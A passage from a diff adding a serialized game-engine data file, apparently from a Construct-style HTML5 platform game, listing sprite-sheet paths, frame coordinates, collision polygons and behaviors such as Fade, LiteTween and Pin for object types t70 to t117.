+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet0.png",
+ 138060,
+ 985,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet0.png",
+ 138060,
+ 1313,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet0.png",
+ 138060,
+ 1641,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet1.png",
+ 212609,
+ 1,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet1.png",
+ 212609,
+ 329,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet1.png",
+ 212609,
+ 657,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet1.png",
+ 212609,
+ 985,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet1.png",
+ 212609,
+ 1313,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet1.png",
+ 212609,
+ 1641,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet2.png",
+ 18431,
+ 1,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet2.png",
+ 18431,
+ 329,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet2.png",
+ 18431,
+ 657,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet2.png",
+ 18431,
+ 985,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet2.png",
+ 18431,
+ 1313,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet2.png",
+ 18431,
+ 1641,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet3.png",
+ 21114,
+ 1,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet3.png",
+ 21114,
+ 329,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet3.png",
+ 21114,
+ 657,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet3.png",
+ 21114,
+ 985,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet3.png",
+ 21114,
+ 1313,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 523212332120315
+ ]
+ ],
+ false,
+ false,
+ 682319071808366,
+ [],
+ null
+ ],
+ [
+ "t70",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles6.png",
+ 594,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 139239936799464,
+ [],
+ null
+ ],
+ [
+ "t71",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles7.png",
+ 614,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 857610133091448,
+ [],
+ null
+ ],
+ [
+ "t72",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles8.png",
+ 631,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 474919472348277,
+ [],
+ null
+ ],
+ [
+ "t73",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles9.png",
+ 880,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 701356505483381,
+ [],
+ null
+ ],
+ [
+ "t74",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 589936092003615,
+ [
+ [
+ "images/camera-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "ScrollTo",
+ 20,
+ 528629454935933
+ ]
+ ],
+ false,
+ false,
+ 125425632365224,
+ [],
+ null
+ ],
+ [
+ "t75",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 25,
+ true,
+ 1,
+ 0,
+ false,
+ 418181869876182,
+ [
+ [
+ "images/sprite9ads-sheet0.png",
+ 51245,
+ 1,
+ 1,
+ 112,
+ 553,
+ 1,
+ 0.5,
+ 0.5009041428565979,
+ [],
+ [
+ -0.1339290142059326,
+ -0.4285714328289032,
+ 0.1428570151329041,
+ -0.4285714328289032,
+ 0.1517850160598755,
+ 0.4177218675613403,
+ -0.1428569853305817,
+ 0.4177208542823792
+ ],
+ 0
+ ],
+ [
+ "images/sprite9ads-sheet0.png",
+ 51245,
+ 115,
+ 1,
+ 112,
+ 553,
+ 1,
+ 0.5,
+ 0.5009041428565979,
+ [],
+ [
+ -0.1339290142059326,
+ -0.4285714328289032,
+ 0.1428570151329041,
+ -0.4285714328289032,
+ 0.1517850160598755,
+ 0.4177218675613403,
+ -0.1428569853305817,
+ 0.4177208542823792
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 299824149617814,
+ [],
+ null
+ ],
+ [
+ "t76",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "anim1",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 287319921320045,
+ [
+ [
+ "images/sprite8sd-sheet0.png",
+ 5028,
+ 1,
+ 1,
+ 608,
+ 89,
+ 1,
+ 0.5,
+ 0.5056179761886597,
+ [],
+ [
+ -0.4868420958518982,
+ -0.4044939875602722,
+ 0.4868419766426086,
+ -0.4157303869724274,
+ 0.4868419766426086,
+ 0.3932580351829529,
+ -0.4868420958518982,
+ 0.404494047164917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "anim2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 735390696917068,
+ [
+ [
+ "images/sprite8sd-sheet0.png",
+ 5028,
+ 1,
+ 92,
+ 608,
+ 89,
+ 1,
+ 0.5,
+ 0.5056179761886597,
+ [],
+ [
+ -0.4868420958518982,
+ -0.4044939875602722,
+ 0.4868419766426086,
+ -0.4157303869724274,
+ 0.4868419766426086,
+ 0.3932580351829529,
+ -0.4868420958518982,
+ 0.404494047164917
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 202054901422994
+ ]
+ ],
+ false,
+ false,
+ 963594842003893,
+ [],
+ null
+ ],
+ [
+ "t77",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 25,
+ true,
+ 1,
+ 0,
+ false,
+ 813603675101878,
+ [
+ [
+ "images/sprite10asd-sheet0.png",
+ 51455,
+ 1,
+ 1,
+ 112,
+ 553,
+ 1,
+ 0.5,
+ 0.5009041428565979,
+ [],
+ [
+ -0.1607140004634857,
+ -0.4267631471157074,
+ 0.1428570151329041,
+ -0.4267630577087402,
+ 0.1428570151329041,
+ 0.4104878306388855,
+ -0.1607140004634857,
+ 0.4104878306388855
+ ],
+ 0
+ ],
+ [
+ "images/sprite10asd-sheet0.png",
+ 51455,
+ 115,
+ 1,
+ 112,
+ 553,
+ 1,
+ 0.5,
+ 0.5009041428565979,
+ [],
+ [
+ -0.1607140004634857,
+ -0.4267631471157074,
+ 0.1339280009269714,
+ -0.4285714328289032,
+ 0.125,
+ 0.4122968316078186,
+ -0.1607140004634857,
+ 0.4104878306388855
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 196780883370757,
+ [],
+ null
+ ],
+ [
+ "t78",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 815699455476998,
+ [
+ [
+ "images/sprite17-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "ScrollTo",
+ 20,
+ 332839901798588
+ ]
+ ],
+ false,
+ false,
+ 981332921845102,
+ [],
+ null
+ ],
+ [
+ "t79",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 243877306557985,
+ [
+ [
+ "images/sprite34-sheet0.png",
+ 916,
+ 0,
+ 0,
+ 250,
+ 80,
+ 1,
+ 0.5,
+ 0.512499988079071,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 759074590093285,
+ [],
+ null
+ ],
+ [
+ "t80",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 681339917485086,
+ [
+ [
+ "images/sprite110-sheet0.png",
+ 1691,
+ 0,
+ 0,
+ 482,
+ 123,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 887770865240913
+ ]
+ ],
+ false,
+ false,
+ 283695204006514,
+ [],
+ null
+ ],
+ [
+ "t81",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 604864683452551,
+ [
+ [
+ "images/sprite123-sheet0.png",
+ 9850,
+ 0,
+ 0,
+ 422,
+ 88,
+ 1,
+ 0.5,
+ 0.5113636255264282,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 675849794325339
+ ]
+ ],
+ false,
+ false,
+ 678407924404489,
+ [],
+ null
+ ],
+ [
+ "t82",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 566326789093931,
+ [
+ [
+ "images/sprite131-sheet0.png",
+ 897,
+ 0,
+ 0,
+ 250,
+ 54,
+ 1,
+ 0.5,
+ 0.5185185074806213,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 218030514232337,
+ [],
+ null
+ ],
+ [
+ "t83",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 646434657895471,
+ [
+ [
+ "images/sprite132-sheet0.png",
+ 5034,
+ 0,
+ 0,
+ 257,
+ 155,
+ 1,
+ 0.5019454956054688,
+ 0.5032258033752441,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 394266367855810
+ ]
+ ],
+ false,
+ false,
+ 415459606976804,
+ [],
+ null
+ ],
+ [
+ "t84",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 572132261588390,
+ [
+ [
+ "images/sprite133-sheet0.png",
+ 9275,
+ 0,
+ 0,
+ 400,
+ 204,
+ 1,
+ 0.4625000059604645,
+ 0.5441176295280457,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 258182726326183
+ ]
+ ],
+ false,
+ false,
+ 954359917577554,
+ [],
+ null
+ ],
+ [
+ "t85",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 722931326248744,
+ [
+ [
+ "images/sprite134-sheet0.png",
+ 7941,
+ 0,
+ 0,
+ 349,
+ 176,
+ 1,
+ 0.5014326572418213,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 533208512069360,
+ [],
+ null
+ ],
+ [
+ "t86",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "No",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 986097241280102,
+ [
+ [
+ "images/platform31-sheet0.png",
+ 3677,
+ 1,
+ 1,
+ 800,
+ 134,
+ 1,
+ 0.3812499940395355,
+ 0.5,
+ [],
+ [
+ -0.3651492893695831,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ 0.4253730177879334,
+ -0.3656342923641205,
+ 0.4253730177879334
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 176844612017913,
+ [
+ [
+ "images/platform31-sheet0.png",
+ 3677,
+ 1,
+ 137,
+ 800,
+ 134,
+ 1,
+ 0.3812499940395355,
+ 0.5,
+ [],
+ [
+ -0.3651492893695831,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ 0.4253730177879334,
+ -0.3656342923641205,
+ 0.4253730177879334
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 199744060803885
+ ]
+ ],
+ false,
+ false,
+ 493641485653810,
+ [],
+ null
+ ],
+ [
+ "t87",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/pieza4.png",
+ 554,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 697589925311580,
+ [],
+ null
+ ],
+ [
+ "t88",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/pieza5.png",
+ 432,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 648373486608385,
+ [],
+ null
+ ],
+ [
+ "t89",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/pieza3.png",
+ 482,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 613328928033768,
+ [],
+ null
+ ],
+ [
+ "t90",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/pieza6.png",
+ 334,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 997887148956041,
+ [],
+ null
+ ],
+ [
+ "t91",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/pieza1.png",
+ 605,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 840687610374187,
+ [],
+ null
+ ],
+ [
+ "t92",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 923636391063339,
+ [
+ [
+ "images/sprite157-sheet0.png",
+ 14866,
+ 0,
+ 0,
+ 471,
+ 180,
+ 1,
+ 0.5010615587234497,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 387234130846954,
+ [],
+ null
+ ],
+ [
+ "t93",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 669925754551548,
+ [
+ [
+ "images/sprite158-sheet0.png",
+ 11646,
+ 0,
+ 0,
+ 466,
+ 151,
+ 1,
+ 0.5,
+ 0.503311276435852,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 570555335641028,
+ [],
+ null
+ ],
+ [
+ "t94",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 246671256721008,
+ [
+ [
+ "images/sprite159-sheet0.png",
+ 15426,
+ 0,
+ 0,
+ 482,
+ 196,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 779505033766369,
+ [],
+ null
+ ],
+ [
+ "t95",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 673745660440159,
+ [
+ [
+ "images/sprite160-sheet0.png",
+ 14302,
+ 0,
+ 0,
+ 482,
+ 207,
+ 1,
+ 0.5,
+ 0.5024154782295227,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 159415288292540,
+ [],
+ null
+ ],
+ [
+ "t96",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 329514471816235,
+ [
+ [
+ "images/sprite161-sheet0.png",
+ 12027,
+ 0,
+ 0,
+ 482,
+ 184,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 640157941771077,
+ [],
+ null
+ ],
+ [
+ "t97",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 800838463520089,
+ [
+ [
+ "images/sprite162-sheet0.png",
+ 439,
+ 0,
+ 0,
+ 96,
+ 27,
+ 1,
+ 0.5,
+ 0.5185185074806213,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 894276281958649,
+ [],
+ null
+ ],
+ [
+ "t98",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 506016291231223,
+ [
+ [
+ "images/sprite163-sheet0.png",
+ 7700,
+ 0,
+ 0,
+ 290,
+ 88,
+ 1,
+ 0.5,
+ 0.5113636255264282,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 138080785317646
+ ]
+ ],
+ false,
+ false,
+ 178295532553681,
+ [],
+ null
+ ],
+ [
+ "t99",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/coinsfont10.png",
+ 2205,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 755886153577902,
+ [],
+ null
+ ],
+ [
+ "t100",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 937515169638149,
+ [
+ [
+ "images/sprite165-sheet0.png",
+ 8625,
+ 0,
+ 0,
+ 373,
+ 112,
+ 1,
+ 0.5120643377304077,
+ 0.5089285969734192,
+ [],
+ [
+ -0.5120643377304077,
+ -0.3944805860519409,
+ 0.4879356622695923,
+ -0.3944805860519409,
+ 0.4879356622695923,
+ 0.3766233921051025,
+ -0.5120643377304077,
+ 0.3766233921051025
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 117417560602270
+ ]
+ ],
+ false,
+ false,
+ 834968451981053,
+ [],
+ null
+ ],
+ [
+ "t101",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 106709335811560,
+ [
+ [
+ "images/sprite166-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 365313167007670,
+ [],
+ null
+ ],
+ [
+ "t102",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 635481049930207,
+ [
+ [
+ "images/sprite167-sheet0.png",
+ 6096,
+ 0,
+ 0,
+ 124,
+ 57,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 338877829935038,
+ [],
+ null
+ ],
+ [
+ "t103",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 781759213519792,
+ [
+ [
+ "images/sprite168-sheet0.png",
+ 6020,
+ 0,
+ 0,
+ 123,
+ 57,
+ 1,
+ 0.5040650367736816,
+ 0.5087719559669495,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 124457164748867,
+ [],
+ null
+ ],
+ [
+ "t104",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 781001064880265,
+ [
+ [
+ "images/sprite169-sheet0.png",
+ 6133,
+ 0,
+ 0,
+ 124,
+ 57,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 148968333493202,
+ [],
+ null
+ ],
+ [
+ "t105",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "No",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 255998513952096,
+ [
+ [
+ "images/platform31-sheet0.png",
+ 3677,
+ 1,
+ 1,
+ 800,
+ 134,
+ 1,
+ 0.3812499940395355,
+ 0.5,
+ [],
+ [
+ -0.3651492893695831,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ 0.4253730177879334,
+ -0.3656342923641205,
+ 0.4253730177879334
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 473276781328792,
+ [
+ [
+ "images/platform31-sheet0.png",
+ 3677,
+ 1,
+ 137,
+ 800,
+ 134,
+ 1,
+ 0.3812499940395355,
+ 0.5,
+ [],
+ [
+ -0.3651492893695831,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ -0.4402984976768494,
+ 0.6076489686965942,
+ 0.4253730177879334,
+ -0.3656342923641205,
+ 0.4253730177879334
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 966642968875395
+ ]
+ ],
+ false,
+ false,
+ 524130646272996,
+ [],
+ null
+ ],
+ [
+ "t106",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 501601573102678,
+ [
+ [
+ "images/sprite186-sheet0.png",
+ 54701,
+ 0,
+ 0,
+ 798,
+ 238,
+ 1,
+ 0.5037593841552734,
+ 0.4915966391563416,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 598408155414358,
+ [],
+ null
+ ],
+ [
+ "t107",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 390817428727936,
+ [
+ [
+ "images/sprite190-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 4
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 816039434865686,
+ [],
+ null
+ ],
+ [
+ "t108",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 249987899690814,
+ [
+ [
+ "images/sprite192-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 340513115578461,
+ [],
+ null
+ ],
+ [
+ "t109",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 640870884561299
+ ]
+ ],
+ false,
+ false,
+ 333534394282621,
+ [],
+ null
+ ],
+ [
+ "t110",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 121398534857350,
+ [
+ [
+ "images/sprite195-sheet0.png",
+ 43742,
+ 0,
+ 0,
+ 856,
+ 859,
+ 1,
+ 0.5,
+ 0.549476146697998,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 529335889274218,
+ [],
+ null
+ ],
+ [
+ "t111",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 171406909862508,
+ [
+ [
+ "images/sprite201-sheet0.png",
+ 182,
+ 0,
+ 0,
+ 383,
+ 8,
+ 1,
+ 0.5013054609298706,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 216987692908863
+ ],
+ [
+ "Sine",
+ 13,
+ 740911434771558
+ ]
+ ],
+ false,
+ false,
+ 493218006626974,
+ [],
+ null
+ ],
+ [
+ "t112",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/timecount.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 749593595372158
+ ]
+ ],
+ false,
+ false,
+ 553456732572217,
+ [],
+ null
+ ],
+ [
+ "t113",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 317256528180992,
+ [
+ [
+ "images/sprite135-sheet0.png",
+ 442,
+ 0,
+ 0,
+ 72,
+ 39,
+ 1,
+ 0.5,
+ 0.5128205418586731,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 538586420556262
+ ]
+ ],
+ false,
+ false,
+ 383245797409509,
+ [],
+ null
+ ],
+ [
+ "t114",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ true,
+ 1,
+ 0,
+ false,
+ 559162760293645,
+ [
+ [
+ "images/sprite101-sheet0.png",
+ 7476,
+ 1,
+ 1,
+ 242,
+ 85,
+ 1,
+ 0.5,
+ 0.529411792755127,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite101-sheet0.png",
+ 7476,
+ 1,
+ 88,
+ 242,
+ 85,
+ 1,
+ 0.5,
+ 0.529411792755127,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 704372715100363
+ ]
+ ],
+ false,
+ false,
+ 255951918159224,
+ [],
+ null
+ ],
+ [
+ "t115",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 881934739827030
+ ]
+ ],
+ false,
+ false,
+ 105925325026618,
+ [],
+ null
+ ],
+ [
+ "t116",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 822420580364311,
+ [
+ [
+ "images/sprite111-sheet0.png",
+ 8720,
+ 0,
+ 0,
+ 258,
+ 49,
+ 1,
+ 0.604651153087616,
+ 1.530612230300903,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 601257946367297,
+ [],
+ null
+ ],
+ [
+ "t117",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 947260244618142,
+ [
+ [
+ "images/sprite112-sheet0.png",
+ 13617,
+ 0,
+ 0,
+ 228,
